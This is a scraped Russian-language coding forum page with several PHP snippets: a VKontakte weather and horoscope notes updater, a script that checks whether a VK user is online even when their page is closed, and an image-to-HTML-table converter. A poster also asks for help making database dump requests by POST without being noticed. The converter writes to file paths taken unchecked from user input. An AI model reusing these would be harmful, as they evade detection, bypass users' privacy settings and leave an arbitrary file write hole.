"\n"; file_put_contents("dump.txt", $ns, FILE_APPEND); fclose($url); } ?> в пхп не силён,есть ли возможность переделать скрипт для отсылки запросов к бд POST методом (непаливно), и прикрутить кукисы, чтобы их можно было менять, т.к. время сессии не бесконечно. Или по логину и паролю, хз. Могу заплатить, но не много, сейчас кризис временный =) Очень на Вас надеюсь. Или хотя бы обьясните как реализовать.
Заметки для Вкантакте.ру (Гороскоп, Погода) Т.к. я являюсь задротом ВК, решил написать небольшой скрипт для Грабинга погоды с gismeteo.ua и Гороскопа с astrostar.ru. Скрипт работает при наличии cURL и allow_url_fopen = On, ну мне как бы все равно у меня VDS =) Запускайте через cron 2 раза в сутки и будет вам щастье. Небольшой README по настройке скрипта: PHP: /* Конфиг: */ $a = new weather('http://www.gismeteo.ua/city/daily/5053/'); $session = vk_login('[email protected]','passwd'); $idnote_weather = '9662358'; $idnote_horoscope = '9664419'; 1-я строка - ето ссылка на ваш город в gismeteo.ua. 2-я строка - авторизация для ВК, предельно ясно. 3-я строка - ID заметки в ВК для погоды, к примеру у меня ссылка на заметку: vkontakte.ru/note****_9662358 берем число которое после прочерка, т.е. 9662358 4-я строка - аналогично 3-й но тут ID заметки для Гороскопа. ЗЫ. Заметки создавать вручную, а скрипт уже будет их редактировать и сохранять. Исходник:
Проверка пользователя ВКонтакте на "онлайн" ( даже если его страница закрыта ). Не требует дополнительных библиотек типа iconv. PHP: <?php @ini_set('max_execution_time', 0); $mail = "[email protected]"; //нужен для проверки какой-либо аккаунт. $pass = "pasha"; //пароль от этого аккаунта $id = "1"; //ИД, который нужно проверить. $log_in = do_curl("http://login.userapi.com/auth", "login=force&id=0&fccode=0&fcsid=0&site=2&email=".$mail."&pass=".$pass); if( !preg_match('#sid=(.+)#', $log_in, $sid_tmp) ) die("Не удалось подключиться к API вконтакте."); switch($sid = $sid_tmp[1]) { case -1: die("Неверный email или пароль"); break; case -2: die("Вылезла капча, не смог авторизоваться :("); break; case -3: die("Неверный email или пароль, при следующей попытке нужно будет отправить капчу"); break; case -4: die("Неверный email или пароль, капча не вылезла"); break; default: echo "Авторизовались... sid: $sid<br /><br />"; break; } $result = utfwin(do_curl("http://userapi.com/data", "act=profile&id=$id&sid=$sid")); preg_match( "#\"on\":(\d+)#", $result, $out ); preg_match( '#"fn":"(.+)"#U', $result, $firstname ); preg_match( '#"ln":"(.+)"#U', $result, $lastname ); switch($out[1]) { case 1: $status = "онлайн"; break; default: $status = "оффлайн"; break; } die( $firstname[1]." ".$lastname[1]." ".$status ); function utfwin($fcontents) { $out = $c1 = ''; $byte2 = false; for ($c = 0;$c < strlen($fcontents);$c++) { $i = ord($fcontents[$c]); if ($i <= 127) { $out .= $fcontents[$c]; } if ($byte2) { $new_c2 = ($c1 & 3) * 64 + ($i & 63); $new_c1 = ($c1 >> 2) & 5; $new_i = $new_c1 * 256 + $new_c2; if ($new_i == 1025) { $out_i = 168; } else { if ($new_i == 1105) { $out_i = 184; } else { $out_i = $new_i - 848; } } // UKRAINIAN fix switch ($out_i){ case 262: $out_i=179;break;// і case 182: $out_i=178;break;// І case 260: $out_i=186;break;// є case 180: $out_i=170;break;// Є case 263: $out_i=191;break;// ї case 183: $out_i=175;break;// Ї case 321: $out_i=180;break;// ґ case 320: $out_i=165;break;// Ґ } $out .= chr($out_i); $byte2 = false; } if ( ( $i >> 5) == 6) { $c1 = $i; $byte2 = true; } } return $out; } function do_curl($url, $post=false){ $c = curl_init($url); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_HEADER, 1); if($post) { curl_setopt($c, CURLOPT_POST, 1); curl_setopt($c, CURLOPT_POSTFIELDS, $post); } curl_setopt($c, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest')); $return = curl_exec($c); curl_close($c); return $return; } ?>
IMAGE TO HTML преобразование GIF PNG JPG в HTML таблицу для работы нужен GD PHP: <?php echo '<title>JPG PNG GIF to PIC conv</title> <style> input {border:1px solid black;} </style> <form action="conv2.php" method="POST"> IN <input type="text" name="in" value="img.jpg"> OUT <input type="text" name="out" value="new.html"> PIXEL <input type="text" name="pixel" value="1"> PLUS <input type="text" name="plus" value="1"> <input type="submit" value="OPEN"> </form> '; if(isset($_POST['in'])) { $in = $_POST['in']; // Входное изображение $out = $_POST['out']; // Выходной файл $pixel = $_POST['pixel']; // Размер пикселя в пикселях $plus = $_POST['plus']; // Плюс для цкла (типа сжатие) $type = substr($in,-3); $size = getimagesize($in); if($type=='png') $img=imagecreatefrompng($in); else if($type=='gif') $img=imagecreatefromgif($in); else if($type=='jpg') $img=imagecreatefromjpeg($in); $f = fopen($out, 'w'); $size = explode(' ', $size[3]); $width = substr($size[0], strpos($size[0], '"')+1, -1); $height = substr($size[1], strpos($size[1], '"')+1, -1); fwrite($f, '<table border="0" cellspacing="0" cellpadding="0">'); for($y = 0; $y < $height; $y+=$plus) { fwrite($f, '<tr height="'.$pixel.'">'); for($x = 0; $x < $width; $x+=$plus) { $idx = imagecolorat($img, $x, $y); $color = imagecolorsforindex($img, $idx); $red = base_convert($color['red'], 10, 16); $green = base_convert($color['green'], 10, 16); $blue = base_convert($color['blue'], 10, 16); if(strlen($red) < 2) $red = '0'.$red; if(strlen($blue) < 2) $blue = '0'.$blue; if(strlen($green) < 2) $green = '0'.$green; fwrite($f, '<td style="background:#'.$red.$green.$blue.';" width="'.$pixel.'" height="'.$pixel.'"></td>'); } fwrite($f, '</tr>'); } fwrite($f, '</table>'); fclose($f); } ?>